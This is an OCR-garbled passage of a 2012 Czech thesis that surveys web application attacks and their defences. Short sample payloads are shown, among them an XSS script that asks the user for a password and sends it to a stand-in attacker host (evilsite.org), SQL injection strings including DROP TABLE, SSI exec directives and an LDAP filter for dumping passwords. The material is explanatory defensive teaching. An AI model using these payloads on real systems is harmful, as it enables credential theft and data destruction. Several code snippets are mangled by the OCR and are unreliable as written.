provedeni PS/2 ¢i USB nebo mohou byt uzplsobeny pro piijem dat vysilanych z
bezdratové klavesnice. Snimana data jsou do téchto zafizeni ukladéna v textové podobé na

vlastni miniaturni pevny disk.

Provedeni instalace téchto typil keyloggerti je zavisi na moznosti fyzického pfistupu k
pocitaci obéti a také pro vyuziti snimanych dat je nutné jejich pozdé&jsi zpétné odebrani.
Zvlastni formou téchto zafizeni je typ instalovany piimo do klavesnice. Instalace této

vvvvvvvvvv

Ochrana proti softwarovému typu téchto nastroji spociva predevsim v pouziti vhodné
nastavenych a aktudlnich antivirovych a antispywarovych programi. VeétSina téchto
bezpecnostnich aplikaci je dnes schopna téméf s jistotou tyty druhy keyloggeru odhalit, a
tudiz jsou Cast&ji vyuzivany spiSe jejich hardwarové varianty. Ty je ale klasickymi
antivirovymi a antispywarovymi velmi té¢Zké odhalit, jelikoz na cilovy pocita¢ neinstaluji

zadny software.

Zékladni obranou proti instalaci hardwarovych keyloggerti je predevSim dodrZzovéni
vhodnych rezimovych opatieni, kterda na maximalni miru omezi pohyb cizich osob v misté
potencidlné napadnutelnych zatizeni. Dal$i opatieni poskytuji dvoufaktorové autentizacni
nastroje, které méni heslo po kazdém jeho zadani a tim zajist'uji bezcennost téchto dat pfi
jejich potencialnim uniku. Pro odhaleni keyloggert existuji také specializované programy,
které pii jejich detekci okamzit€ upozorni spravce sit€¢ a ten mize toto Skodlivé zatfizeni

odstranit dfive, nez je zpét odebrano s ulozenymi citlivymi daty. [24]

2.4.2 Autorizace

Session Prediction
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Session Prediction je utok provadény za tGcelem uhadnuti session, které reprezentuje

spojeni mezi uzivatelem a webovym serverem a fesi tak bezstavovost protokolu HTTP.

Uhadnuti identifikatoru session muze nastat v piipadé¢, ze je Session ID pienaseno spolu s
URL adresou. N¢které webové aplikace tento identifikator vytvari z kryptograficky
nendhodnych hodnot a jejich generace mize byt spojena se sekvencnim zvySovanim urcité
kombinace pienasenych proménnych. Utoénik tak muiZe tento identifikator uhadnout

naptiklad za pomoci jiz zminénych nastroji pouzivanych pro ttok hrubou silou.

Zabezpeceni proti této hrozbé by mélo byt feSeno pfedevsim generaci zcela ndhodnych a
dostate¢né dlouhych Session ID, které Gtokiim hrubou silou odolaji. Toto feSeni je vhodné
kombinovat se sledovanim IP adresy a pouzitého prohlizece, kdy je pii piichodu
pozadavku z jiné IP adresy ¢i odliSeného prohlizeCe relace ukoncena a jeji proménné

vymazany.
Session Fixation

Fixace session definuje druh napadeni provadéného uto¢nikem za pomoci podstréeni
pfedem ziskaného Session ID jinému uzivateli, ktery naslednym ptihlaSenim zptistupni
svlj ucet utocici osob&. Podstréeni Ize realizovat naptiklad za pomoci odkazu umisténého

nékde na webu ¢i v e-mailu apod.

Obrana proti tomuto utoku se provadi za pomoci funkci, jenZ pted kazdym ptihlaSenim

provedou zménu session, a tim se stdva podvrzeny identifikator neplatny.
Insufficient Session Expiration

Tato hrozba vychazi z nedostatku, ktery je zapfiCinén moznosti pouziti starého jiz
neuzivaného session pro autorizaci pfistupu vice uzivateli na jeden ucet. Pii hledani
ochrany proti zneuziti jiz pouzitého Session ID vznika dilema z pohledu nastaveni doby

trvani téchto relaci.

Dlouha doba expirace zvysuje nebezpeci manipulace s aktivni session a naopak jeji kratka
zivotnost muze nutit uzivatele k opakovanému piihlaSovani. Pfijatelnym feSenim je zde
udrZeni platné relace pouze pro aktivni uzivatele, kdy po urcité dobé necinnosti dochazi k

automatickému odhlaSeni a smazani dané session. [25]



UTB ve Zliné, Fakulta aplikované informatiky, 2012 41

Insufficient Authorization

Tato hrozba vyplyva z pouziti nevhodného autorizacniho mechanismu, ktery ptihlasenému
uzivateli poskytne veskery obsah a funkce spojené s pristupem do ptislusné chranéné
sekce. Tuto nevhodnou definici mohou potencialni uto¢nici zneuzit, a proto by méla byt

opravnéni uréena béznym uzivatelim ptidélovana pouze pro jasn¢ vymezené ucely.
Cross-site request forgery (CSRF)

Principem tohoto toku je podstréeni Skodlivého HTTP pozadavku uZzivateli pfihlaSenému
do systému, jenz se stava pro Uto¢nika cilem jeho nekalych aktivit. Nejcastéji se jednd o
utoky smétované na administratory, ktefi maji pii ptihlaseni moznost modifikovat ¢i mazat

zaznamy aplikace.

Utoénik musi nejprve dokéazat odhadnout potfebny tvar URL, ktery je schopen provadst
aplikaéni databidzové zmény, a poté piesvédcCit piihlaSené¢ho uZzivatele administra¢niho
rozhrani k pfistupu na podvrzenou stranku, jenz provede samotny CSRF tutok. Tento utok
muze byt uspésny, pokud aplikace neobsahuje mechanismy slouzici k rozpoznani, zdali byl

pozadavek volan z administracni sekce.

Céste¢nou ochranou proti témto typiim utoktl miize byt pouziti HTTP metody POST, ktera
parametry proménnych pfi editaci €1 mazani zdznamil neuklada do fetézce URL. Podstatné
vys8i zabezpecCeni je zajiSténo pii pouZzivani tzv. autentizacnich tokentl, coZ jsou ndhodné
vygenerované fetézce platné pouze pro danou akci a aktualniho uZivatele, vytvarené

nejcastéji pred zobrazenim provadéciho formulafe. [26]

2.4.3 Utoky ze strany klienta
Content Spoofing

Tato hackerska technika vychazi z principu vytvofeni vérohodné kopie urcité ¢asti webové
aplikace, ktera je nasledné pouzita k oklamani jejich uzivateli. Tento podvrzeny web
obsahuje podobné formularové prvky jako originalni aplikace a Casto je cilem utoc¢nika

ziskat ptihlaSovaci udaje podvedenych uzivatelda.

Tento typ utoku muze byt proveden u webt pouzivajich pro dynamické plnéni svého
obsahu ramy, do kterych se nacitaji jiné jednotlivé stranky. Na nasledujicim ptikladu lze

vidét oklamani uzivatele za pomoci zmény odkazu vkladaného do atributu src:
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<frame name="pr_content" src="http://foo.example/file.html">
<frame name="pr_content" src="http://attacker.example/spoof.html">

Zabezpecenim proti tomuto typu Gtoku miize byt zneptistupnéni téchto ramt mimo aktivni
session, a to za pomoci generace nahodného fetézce, ktery je pouzit pro atribut name
namisto bézné pouzivaného nazvu. [26]

Cross-Site Scripting (XSS)

Cross-Site Scripting je jednim z nejznaméjSich a také nejucinnéjSich nastroji slouzicich
pro provadéni internetovych podvoda. Princip XSS spociva ve zranitelnosti webovych
aplikaci, jenz uto¢nikim umoziuji vkladat do stranek vlastni HTML kod. Samotna

realizace téchto utoku je provadéna za pomoci JavaScriptového kodu, ktery mize byt

pouzit tak, ze je jeho obsah vkladan pfimo do URL napadené stranky.

Tento typ napadeni je fazen do kategorie utokti non-persistent ¢ili nestalych, které nejsou
vlozeny na napadeny web natrvalo. Na nasledujicim ptikladu je mozno vidét zpusob, jak z
uzivatele vylakat heslo k jeho uctu:

<script>var password = prompt('Platnost vasi relace vyprsela. +
'"Pro pokracovani zadejte prosim své heslo.');

location.href="https://evilsite.org/pass.cgi?passwr=" +

password;
</script>

Pokud si uzivatel prohlédne stranku s vySe uvedenym skriptem, jeho prohlize¢ provede

obsah znacky <script> a vysledkem bude dotaz uvedeny na obrazku niZe.

Explorer User Prompk | ﬂ
Seript Promp:

Platniozt wagi relace wppréela. Pro pokradovani zadejte prozim vé heslo. = I
atice

Obr. 5. XSS utok Zadajici po uzivateli prihlasovaci heslo

Zadana hodnota se odesle na uto¢nikliv server evilsite.org, kde je ziskané heslo

uloZeno ptipravenym CGI skriptem.
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Moznosti jak vyuzit XSS je nespocet a jednou z nich je napfiklad taktéz ziskéni
klientskych cookies, které mohou obsahovat identifikator aktivni session. Jednoduchy

skript pro tuto akci je mozné vidét nize:
<script>document.write(document.cookie)</script>

Podstréeni skodlivého skriptu mize byt provedeno také pomoci odkazu v e-mailu, ktery
za¢ind znamym doménovym jménem, a tak na néj nepozorny uzivatel bez obav Klikne.

Jeho soucasti je také zakeina znacka <script>, kterd provede ptilozeny utok.

vvvvvv

stranky, a to z diivodu vzniku podeziele dlouhého odkazu. Resenim je zde vlozeni pouze
jednoduchého skriptu odkazujicitho na XSS soubor ulozeny na webu utoc¢nika. Pravé od
této techniky, kdy dochazi k nacitani skodlivého skriptu ze serveru hackera, vznikl nazev

Cross-Site Scripting.

Jak jiz bylo zminéno - jednim typem téchto utokl je druh, jenZ neni uloZen na napadeném
webu nastalo, ale je vkladan do URL adres, které jsou pouzity jednorazove. Dal$im typem
jsou tzv. persistent XSS, jejichz skripty jsou vkladany do nezabezpecenych uzivatelskych
vstuptl. Tyto Skodlivé kody jsou ukladany do databaze aplikace a poté zobrazovany na
vystupu napiiklad v riznych navstévnich knihédch &i foérech, kde mohou opakované

spoustét razné skodlivé akce.

Ttetim typem téchto itoki je zneuziti objektové modelu DOM, ktery plni funkci rozhrani,
které umoziuje ptistup a modifikaci daného HTML dokumentu. Toto napadeni neprobiha
jako u dvou pifedchozich technik na strané serveru, ale na strané klienta, kde je mozné v

lokalnim skriptu provést nebezpecné typy utokti za pomoci volani nékterych DOM metod.

Ochrana proti XSS utokim je relativné jednoducha a spociva v oSetfeni vSech vystupt,
které mohou byt ovlivnény uzivateli funkcemi pro nahrazeni HTML znakd jejich
odpovidajici textovymi entitami, které tak jiZ nejsou prohlizeci interpretovany s jejich
pavodnimi  vlastnostmi. V jazyku PHP slouzi pro tento pievod funkce

htmlspecialchars(). [4]
Cross-Site Tracking (XST)

Tento utok funguje na principu pouziti XSS a metody HTTP TRACE, jenz je vyuZzivana
pro ladéni aplikaci a podporovana vétSinou webovych serverii. Tato metoda byva zneuzita

utocniky, ktefi chtéji ukrast uzivatelské session obsazené v cookies chranénymi pomoci
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vlastnosti HTTPOnly. Toto rozSifeni podporované ve vétSiné znamych prohlizect chrani
cookies zptisobem, ktery znemoznuje jejich ziskani za pomoci JavaScriptu. Pravé zminéna
metoda HTTP TRACE umoziiuje obejit toto zabezpeceni a za pomoci ni je mozné ziskat
kompletni hlavi¢ky prohlize¢e v jeho defaultnim nastaveni spolu s pozadovanymi cookies.
Zabezpecenim proti této zranitelnosti je logicky vypnuti této metody v dobé, kdy neni

piimo vyuzita pfi spravé systému. [23]
Browser and Plug-in vulnerabilities

Obecné se jedna o chyby uzivatelskych prohlizeci a jejich plugint, diky nimz l1ze provadét
ruzné typy utokd. Tyto chyby jsou specifické pro kazdy druh prohlizee a umoziuji
napiiklad spusténi libovolného zdrojového kodu, zvySeni piistupovych prav, naruSeni

uzivatelského soukromi nebo mohou zpusobit pad prohlizece apod.

Pluginy pouzivanymi pro rozsifeni vlastnosti prohlizecl, jsou napiiklad Adobe Reader,
Adobe Flash Player, Apple QuickTime, Microsoft ActiveX, rozsifeni pro Mozillu Firefox
¢i také zdsuvné moduly od spolecnosti Sun Microsystems. Odstranéni chyb v téchto
pluginech musi byt provedeno ze strany jejich vydavatelt, a proto jsou vyvojati webovych
aplikaci odkazani na tyto opravné aktualizace. Nékteré z téchto zasuvnych modultt mohou
obsahovat mechanismy provad&jici aktualizace automaticky. Ty, které musi byt
aktualizovany ru¢né, jsou odkazany na uZivatele, kteti v mnoha pitipadech instalaci nové
verze pluginu neprovedou, a tim nedojde k odstranéni chyb umoznujicich zminéna

napadeni. [27]

Na nasledujicim obrazku je mozné vidét piehled zranitelnosti plugini webovych

prohlize¢t v letech 2009 a 2010 zobrazenych procentualné pro jednotlivé vydavatele.

1% <1%

Microsoft ActiveX
I Adobe Reader
Adobe Flash
[ Sun Java
M Apple QuickTime

"] Firefox Extensions

2009 2010

Obr. 6. Prehled zranitelnosti pluginit webovych prohlizecii v letech 2009 a 2010 [27]
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Clickjacking

Clickjacking, znamy také pod nazvem User Interface Redress Attack, je utok, ktery
vychazi z principu pouziti prihledného ramu, jenz v HTML dokumentu piekryva pro
uzivatele viditelnou legitimni stranku. Tato skute¢nost umoziuje uto¢nikum prekryt
viditelny odkaz, obrazek, formulatové tlacitko ¢i jiny neSkodny objekt neviditelnym
prvkem, ktery pii kliknuti spusti libovolnou akci bez védomého souhlasu uzivatele.
Neviditelnost uto¢nikova ramu je zpiisobena za pomoci CSS vlastnosti opacity S

hodnotou 0.

Touto technikou lze ziskat pfihlaSovaci uZzivatelské udaje, které jsou vepsany do na prvni
pohled bezpe¢nych textovych poli slouzicich naptiklad pro pfistup na e-mail ¢i bankovni
ucet. Dalsim piikladem muze byt vytvoreni lakavého reklamniho banneru, ktery uzivatele
nabada ke kliknuti, avSak v jeho horni neviditelné vrstvé je vlozeno tlaitko obsahujici akci
pro smazani vSech dorucenych zprav v ptichozi posté e-malového uctu. Pokud je uzivatel
pfihlasen k e-mailovému rozhrani, jenz je zobrazeno pod neviditelnym ramem, je tato akce
provedena. Jednim z dalSich znamych utokd tohoto typu bylo zpfistupnéni webkamery a

mikrofonu uzivateld prostfednictvim zasuvného modulu Adobe Flash.

Obranou proti této hackerské technice mize byt princip, ktery za pomoci JavaScriptu
zajiStuje, aby byla stranka zobrazend vzdy na nejvysSi urovni okna. Tento zpisob se
nazyva frame-breaker a provadi znemoznéni vlozeni stranky uvnitt ramu. Na nasledujicim

ptikladu je uveden kod JavaScriptu, ktery tuto ochranu provadi:

<script>if (top!=self) top.location.href=self.location.href</script>

Tento zplsob ochrany nemusi byt ale vzdy ucinny, a to tehdy, pokud utoc¢nik pouzije
techniku, kterd dokéze Skodlivy rdm spolu s napadenou strankou nadfadit na nejvyssi
uroven. Jednou z moznosti, jak tu ochranu obejit, je umisténi napadené stranky do ramu,
kterd je soucésti jiného nadfazeného ramu. Tento zdokonaleny typ utoku, jehoz
protiopatieni Ize vidét nize, narusi piivodni integritu nadfazenosti a zneviditelnéni Skodlivé

stranky je tak tispésné provedeno.
if(top.location!=self.locaton) {

parent.location = self.location;
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Jinym typem obrany proti tomuto druhu tutoku je pouziti HTTP hlavicky X-FRAME-
OPTIONS, prostiednictvim niz server sd€luje prohlizeéi, zdali je v aplikaci mozné danou
stranku zobrazit uvniti ramu. Pokud neni toto zobrazeni povoleno, v ramu uUto¢nika se
zobrazi pouze upozornéni, které sdéluje, Ze pozadovany obsah nemlze byt z
bezpec¢nostnich diivodi zobrazen. Tento zplisob ochrany ma také své omezeni, a tim je
napiiklad komplikace nutnosti nastaveni X- FRAME-OPTIONS na kazdé strance zvlast nebo

také ofezani této hlavicky pfi pouziti proxy serveru. [23]

2.4.4  Utoky injekei
Buffer Overflows

Buffer Overflows, neboli také preteCeni zasobniku, je utok, ktery vyuziva bézné
softwarové chyby, ktera vznika na zakladé¢ udalosti, kdy je obsah dat vkladanych do
zasobniku véEtsi nez pamét pridélena pro jejich uloZeni. Tyto zasobniky nemaji zadny
vlastni mechanismus, jenz by ovétoval velikost vstupnich dat, a proto tato opatfeni musi
vytvaret programator. K chybam pteteceni dochéazi nejCastéji u softwaru vytvofeného
pomoci programovacich jazykti C a C++. To mohou byt uzivatelské prohlizece ¢i také

webové servery Apache nebo Microsoft 1S apod.

Preteceni zasobnikli mize mit za nésledek nékolik riznych stavl. Dvojici z nich je pad
aplikace a jeji zacykleni. Tyto stavy mohou systém docasné vyfadit z provozu, ale
libovolného ciziho skriptu, ktery je proveden na zakladé¢ dokonalejsi konstrukce tutoku.
Tento skript byva koncipovan tak, aby piekonal nékteré zabezpeceni aplikace C¢i
hostujiciho serveru. OSetfeni zamezujici preteCeni zasobniku je provadéno za pomoci
vhodnych vstupnich filtri, které vkladana data validuji, ¢imz je zajiSténa jejich korektnost

vylucujici vznik zminénych chyb. [5]
Format String Attack

Tato hackerskéd technika vychéazi ze stavu, kdy je vstupni fetézec vkladany utocnikem
reprezentovan jako ptikaz pro aplikaci. Timto Gtokem mize byt spustén Skodlivy kod nebo
zplisobena porucha segmentace, coz je metoda spravy paméti slouzici k spravné alokaci
datového prostoru. Naruseni segmentace muize zplsobit nestabilitu systému ¢i bezpec¢nost

samotné¢ aplikace.
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Zpusob utoku spociva ve vyuziti formatovacich funkci slouzicich pro pievod primitivnich
proménnych programovacich jazyki C a C++ do ¢&itelné textové podoby. Utok mize byt
uspésny, pokud jsou vstupni data ve formatu vhodném pro nékterou z formatovacich
funkci (printf(), sprintf(), snprintf() atd.). Tato funkce mize ofekavat ze vstupu
dalSi parametry, které zpravidla nejsou dodany, a tento stav muze zpuisobit nckteré ze
zminénych problému. Obranou proti tomuto typu utokd je podobné jako u ochrany proti

preteceni zasobniku striktni kontrola vSech vstupnich dat podle vhodnych pravidel. [4]
OS Commanding

Tento typ utoku spo€ivd v neopravnéném provedeni piikazii urenych pro ovladani
opera¢niho systému serveru za pomoci nékterého ze vstupt aplikace. Tyto piikazy jsou
provedeny se stejnymi opravnénimi jaké ma napiiklad databidzovy ¢i webovy server
aplikace. Timto utokem je zpravidla vytvarena snaha o spusténi externich aplikaci dané¢ho
operacniho systému, které mohou mit za nasledek ziskéni neopravnéného ptistupu k jinak
nepfistupnym souboriim ¢i slozkdm. Na nasledujicim ptikladu je mozné vidét funkei
napsanou v programovacim jazyku Java vyuZivajici metodu exec() slouZici k provadéni

prikaz, které jsou této metod¢ predavany jako jeji parametr:
public string cmdExecution(String id){

try {

Runtime rt = Runtime.getRuntime();

rt.exec("cmd.exe /C LicenseChecker.exe" + " -ID " + id);

}

catch(Exception e){

/] ..

}

Zminénym parametrem je piikaz, ktery se pokousi spustit aplikaci LicenseChecker.exe
skrze rozhrani piikazového fadku cmd.exe. Spusténi uvedené aplikace se specifickym 1D
parametrem muze uto¢nik obejit validacni operaci, kterd mu umozni provadét dalsi
nepovolené akce. Zabezpecenim proti tomuto typu napadeni je stejné jako u predchozich
dvou popisovanych utoki, a tim je disledna kontrola vSech vstupti, kterd vylouc¢i spusténi

nepovolenych akci. [26]
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LDAP Injection

Tento druh utokt zneuziva protokol LDAP (Lightweight Directory Access Protocol), jenz
pracuje jako standardizované rozhrani adresaifovych sluzeb komunikujici pfes protokol
TCP/IP. Data tohoto protokolu jsou uchovavana v zdznamech, které jsou organizovany ve
stromové struktuie DIT (Directory Information Tree). Utok pomoci LDAP je proveden
prostiednictvim nezabezpefeného uzivatelského vstupu a skrze néj lze napriklad pokladat

neopravnéné LDAP dotazy ¢i také provadét zmény v adresarové struktuie.

Ptikladem toho, jak provést LDAP injekci je naptiklad vyuziti vstupu, ktery slouzi pro
vyhledavani uzivatelti aplikace. Toto vstupni pole, jehoz HTML kéd je mozno vidét nize,

pozaduje zadani jména uzivatele, kde obsluzny kéd vyhleda dané jméno v LDAP databazi.
<input type="text" size=20 name="jmeno">Zadejte hledané jméno</input>

Cast zdrojového kodu, ktery zpracovava dotaz, mize vypadat nasledovné:

String ldapSearchQuery = "(cn=" + $userName + ;

System.out.println(ldapSearchQuery);

Pokud neni proménna $userName potiebné validovana mize uto¢nik vyuzit LDAP injekce.
Nejprve pomoci dotazu se znakem "*" dojde k zobrazeni vSech uzivatelit LDAP struktury a
naslednym vybérem jednoho ze jmen muzZe byt poloZzen dotaz napiiklad ve tvaru

"john) (| (password=*)", ktery vypiSe heslo daného uzivatele. [23]

SQL Injection

SQL Injection je znama technika napadeni, kterd vyuziva nezabezpecenych uzivatelskych
vstupl k provedeni neopravnénych SQL piikaz. SQL injekce mohou byt pouzity mnoha
zpusoby a jednim z nich je vyuziti zranitelnosti, ktera umoziiuje obejit ptihlasovaci

formulat a ziskat tak pfistup do chranéné sekce. [6]

Utoénik zde vychazi ze znalosti nize uvedeného SQL dotazu, ktery asto slouzi k
ovetovani zadavanych ptihlasovacich tdaji:

SELECT COUNT(*) FROM ucty WHERE jmeno='$jmeno’ AND heslo='$heslo’

Tento dotaz obsahuje PHP proménné $jmeno a $heslo, do kterych jsou ukladany

uzivatelem zadané udaje. Vysledkem dotazu je pocet zdznami vyhovujicich podmince,

ktera je splnéna, pokud existuje dvojice jména a hesla zadand uzivatelem. V piipadée
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nalezeni takového zdznamu dotaz vraci hodnotu 1, v opacném piipadé je vysledkem 0 a

pfihlaSeni neni provedeno.

Pokud vsak uto¢nik zada misto bézného jména fetézec ' OR 1=1 OR ''=', dochazi k
naruSeni integrity dotazu a jeho ptivodni funkce je pozménéna. Neopravnéné modifikovany

dotaz poté vypada nasledovné:
SELECT COUNT(*) FROM ucty WHERE jmeno='" OR 1=1 OR ''='"' AND heslo='123"'

Nyni je podminka splnéna, pokud je jméno v zdznamu prazdné nebo pokud se 1 rovna 1,
coz je logicky splnéno vzdy. Zbytek podminky OR ' '='" je uz jen nezbytnym doplnénim,
které zajist'uje spravnost dotazu v ramci SQL syntaxe. Zadané heslo jiz tedy vyhodnoceni
dotazu nijak neovlivni a staci zde vepsat libovolny fetézec, ktery pouze splni podminku,

ktera ovéiuje, zda nebylo toto pole ponechano prazdné.

Injekce zévadného SQL kdédu nemusi byt vkladany pouze pomoci neosetfenych
uzivatelskych vstupt, ale také napiiklad do parametri URL adresy nebo uZivatelskych

cookies.

Na nasledujicim piikladu je mozné vidét, jak miize Gtocnik pomoci modifikace parametru
v URL smazat tabulku z databaze aplikace. Nize uvedeny dotaz umozni zobrazit ¢lanek

podle jeho ID, které je pfedavano do proménné $id z URL metodou GET:
SELECT * FROM clanky WHERE id='$id'

Pokud uto¢nik za parametr reprezentujiciho ID ¢lanku vlozi vlastni Skodlivy kéd, mize
provést téméf libovolny SQL ptikaz, ktery je povoleno provadét z aplikacni Casti systému.
Jestlize tedy zada napiiklad fetézec '1@';DROP TABLE clanky;-- , dojde k smazani
tabulky clanky a tim k odstranéni vSech jejich zaznami. Vysledny SQL kod bude tedy

vypadat nasledovng:
SELECT * FROM clanky WHERE id='10';DROP TABLE clanky;-- ";

Za 1D zobrazeného ¢lanku je nejprve vlozen apostrof a stfednik ukoncujici ptivodni dotaz a
poté nasleduje piikaz pro mazani tabulky, za kterym jsou vloZeny dvé komentafové

uvozovky a mezera, ¢imz byl zbytek nepotieného kodu zakomentovan. [26]

Zvlastni skupinou ttoku jsou tzv. Blind SQL Injection a termin blind, v piekladu slepy,
zde znamena situaci, kdy je aplikace nachylna ke Skodlivé SQL injekci, ale vysledek

24

tohoto ttoku neni zobrazen. Tento typ napadeni je z hlediska uskute¢néni naro¢néjsi a



UTB ve Zliné, Fakulta aplikované informatiky, 2012 50

vyzaduje Casto realizaci mnoha dil¢ich krokd, které¢ vedou k uspé$snému provedeni utoku.
[6]

Obranou proti SQL injekcim by mélo byt pfedevs§im tzv. escapovani znakd, které maji v
jazyce SQL specialni vyznam. Princip této ¢innosti spociva ve vkladani zpétného lomitka
pted tyto problematické znaky, a tim je zajistén jejich pfevod na béznou soucast fetézce.
Napriklad v  jazyku PHP je pro tuto cCinnost pouzivana  funkce
mysql_real_escape_string(). Nevyhodou této techniky je moznost opomenout oSettit
néktery z mnoha parametri, které jsou vkladany do SQL dotazli. Odhaleni takového vstupu
mize byt jednodussi pii nastaveni podrobného vypisu chybovych hlasek, které mohou na
tento vstup upozornit. Naopak zvyseni bezpecnosti mize byt dosazeno potla¢enim vypisu
téchto chyb pii bézném provozu aplikace, kdy nejsou nezabezpecené vstupy pomoci téchto

hlasek odhaleny.

Dal$im zptisobem, jak odstranit z vstupnich dat potencidln¢ Skodlivé znaky je tvorba
vhodnych filtracnich pravidel, kterou jsou definovany specificky podle charakteru, ktery
ma vkladany udaj spliiovat. Jednim z pravidel pro tvorbu vhodné bezpeénostni politiky je
ukladani uZivatelskych hesel v zaSifrované podobé nejcastéji za pomoci kryptografického
algoritmu MD5. Toto opatfeni je ocenéno piedevs§im, pokud dojde k odcizeni hesel, které v
zasifrované podob¢ nelze zneuzit. Z pohledu databazového serveru je dale vhodné omezit
uzivatelskd prava aplikace pouze na nejnutnéjsi akce, coz mize zabranit nékterym jinak

uspésnym utokiim. [26]
XPath Injection

Tento typ Utoku byva uplatiiovan proti aplikacim, které vyuzivaji pro ukladani dat rozhrani
XML, kde jsou pouzivany dotazy typu XPath piijimajici data z uzivatelskych vstupu.
XPath (XML Path Language) je dotazovaci jazyk, ktery z XML dokumentu vybira
jednotlivé elementy a nasledné zpracovava jejich hodnoty a atributy. Princip pouZiti tohoto
jazyka je podobny jako u dotazovaciho jazyka SQL a také zptsoby utokd jsou obdobou
SQL injekci. [6]

Na nasledujicim piikladu je mozné vidét, jak 1ze pomoci XPath injekce ziskat ptistup kK
chranénym webovym sekcim. Nize je uvedena cast XML dokumentu, nazyvana také
terminem XML fragment, kterd obsahuje uzivatelské tdaje, k nimz pfistupuje jazyk XPath

vyhledavajici jméno a heslo na zakladé uzivatelského vstupu:
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<?xml version="1.0" encoding="utf-8"?>
<Zamestnanci>
<Zamestnanec ID="1">
<Jmeno>Karel</Jmeno>
<Prijmeni>Novak</Prijmeni>
<Login>Karel@@7</Login>
<Heslo>tajneheslo</Heslo>

<Typ>Administrator</Typ>

</Zamestnhanci>

Nasledujici kod napsany Vv jazyce C# tvoii béZznou konstrukci ptijimajici piihlaSovaci

pozadavek, kterd nacita zadané vstupy pomoci metody Request():
String NajdiUzivateleXPath;

NajdiUzivateleXPath = "//Zamestnanec[Login/text()="" + Request("Login")
+ "' And Heslo/text()='" + Request("Heslo") + "']";

Podobnym principem, jako u ptipadu napadeni piihlasovaciho pozadavku za pomoci SQL
Injection, je dosazeno naruSeni integrity dotazu XPath, jenz nasledné povoli pfistup do
zabezpecené sekce. Do vstupniho pole pro pfihlasovaci jméno je zadan tetézec abc' OR
1=1 OR ‘'abc'='abc, ktery obdobné jako v ptikladu SQL injekce zajisti platnost
podminky XPath dotazu.

Také obrana slouzici k ochran¢ proti XPath Injection je témérf totozna jako pii zabezpeceni
proti SQL injekcim. Je to pfedevSim jiz popisovany zpusob tzv. escapovani
problematickych znakii u vSech uzivatelskych vstupii ¢i také jejich ovéfeni pomoci

vhodnych filtrti vytvarenych podle charakteru vstupniho parametru atd. [23]
SSI Injection

Tato hackerska technika pro své potieby zneuziva SSI (Server-Side Includes) direktivy,
které¢ slouzi k provadéni dynamickych zmén u plvodné statickych HTML stranek.

Nepouzivangjsi direktivou je #include, ktera slouzi ke vkladani externiho souboru do
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stranky. Dale je to naptiklad #exec pouzivana ke vkladani vystupu CGI skripti ¢i také
#config slouzici K nastaveni raznych vystupnich formati, chybovych hlaseni apod.

Direktiva #echo vypisuje aktualni hodnoty vybranych proménnych atd.

Stranky obsahujici SSI direktivy jsou nejcastéji ukladany do soubori s ptiponou .shtml a
moznost jejich pouziti musi byt na serveru pfedem povolena. Syntaxe zapisu direktiv musi
byt navic u nékterych piikazii prizpisobena pouzivanému opera¢nimu systému. Na
nasledujicich ptikladech bude uvedeno nékolik zpiisobt, jak zneuzit SSI direktivy, jenz

jsou vkladany do nevhodné zabezpecenych uzivatelskych vstupi.

Prvnim z nich mtze byt prochazeni adresatfové struktury aplikace fungujici na serveru pod

opera¢nim systémem Windows:

< l--#exec cmd="dir" -->

Nyni mize nasledovat direktiva s ptikazem pro ptistup do vybrané slozky:

< !--#texec cmd="cd C:\admin\dir">

Pro zménu zobrazovaného formatu data muze byt pouzita nasledujici direktiva:
<!--#config timefmt="A %B %d %Y %r"-->

U starsich verzi serverd Microsoft IIS 4.0 a 5.0 bylo mozné pomoci nasledujici chybné
sestavené direktivy provést preteCeni zasobniku, které mélo déale za nasledek spoustét

vlastni libovolné skripty.
<- # include file = "UUUUUUUU ... UU" ->

Pocet vlozenych pismen potiebnych pro provedeni pozadované chyby zde musel byt vétsi

nez 2049.

Proti SSI Injection se lze branit podobn¢ jako u jinych injek¢nich utokd, a je to opét
zejména filtrace potencidlné nebezpecnych znaki, které jsou ve zminénych direktivach
pouzivany. Dalsi zplsobem, jak zvySit zabezpefeni proti t€émto napadenim je vhodné
nastaveni pristupovych prav, které zabranuji spusSténi SSI direktiv neopravnénym

uzivatelim. [23]
SOAP Injection

Tento typ Utoku je zaloZen na vkladéani Skodlivého koédu do nezabezpecenych vstupt, ktery
je zpracovavan pomoci protokolu SOAP (Simple Object Access Protocol). SOAP slouzi

jako komunikaéni rozhrani pro odesilani XML dokumentti mezi webovymi sluzbami a je
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vyuzivan nejcastéji pro podporu vyhledavani ¢i prenos aktualniho pocasi atd. SOAP zprava
ma podobu jednoduchého XML dokumentu a pro jeji pfenos je nejcastéji pouzivan
protokol HTTP.

SOAP protokol nemusi byt sdm o sobé zranitelny, ale data obsaZzena v jeho zpravé mohou
byt napadena podobné jako pfti vyuziti SQL ¢i XPath injekci. Zpiisoby, jak ttocit na takto
zranitelné aplikace jiz byly popsany vyse a také obrana proti SOAP Injection je zde
obdobna. Pfedchidcem SOAP byl jednodussi protokol XML-RPC, u kterého lze také
aplikovat podobnd napadeni, opét za pfedpokladu nevhodné zabezpecenych uzivatelskych

vstupt. [28]
JavaScript Hijacking

Toto napadeni je zaméteno na aplikace vyuZzivajici pro ptenos databazovych dat jazyk
JavaScript. JavaScript Hijacking je uzce spjat také s vyuzivanim interaktivni technologie
AJAX, ktera pouziva JavaScript jako jednu ze svych podptrnych technologii. Jako datovy
format k pfenosu dat za pomoci JavaScriptu je nejCastéji pouzivan JSON (JavaSript Object
Notation), jenz lze chapat jako alternativu k jinde vyuzivanému jazyku XML. Format
JSON uklada data ve formé objektu jazyka JavaScript a ty jsou nasledné prevadény na

standardni javascriptova pole. Pravé tato pole jsou cilem JavaScript Hijacking ttoku.

Napadeni vyuZziva ve svém zdkladu jiny, jiZ popisovany utok CSRF, jehoZ principem je
podstréeni Skodlivého HTTP pozadavku. Na nasledujicim ptikladu bude popsana jedna z

mozZnosti, jak tento utok provést.

Uzivatel odesle pozadavek na server za ucelem ziskani diivéryhodnych informaci a ten jej

vyhodnoti prostfednictvi nasledujiciho JSON kodu:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {

var txt = req.responseText;

object = eval("(" + txt + ")");

req = null;
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}s

req.send(null);

Server po zpracovani odesle uzivateli nasledujici data ulozené v poli formatu JSON:
[{"jmeno":"Karel"™, "prijmeni":"Novak", "telefon":"6502135600",
"nakupy" :60000.00, "email":"karel@ABCCompany.com" },

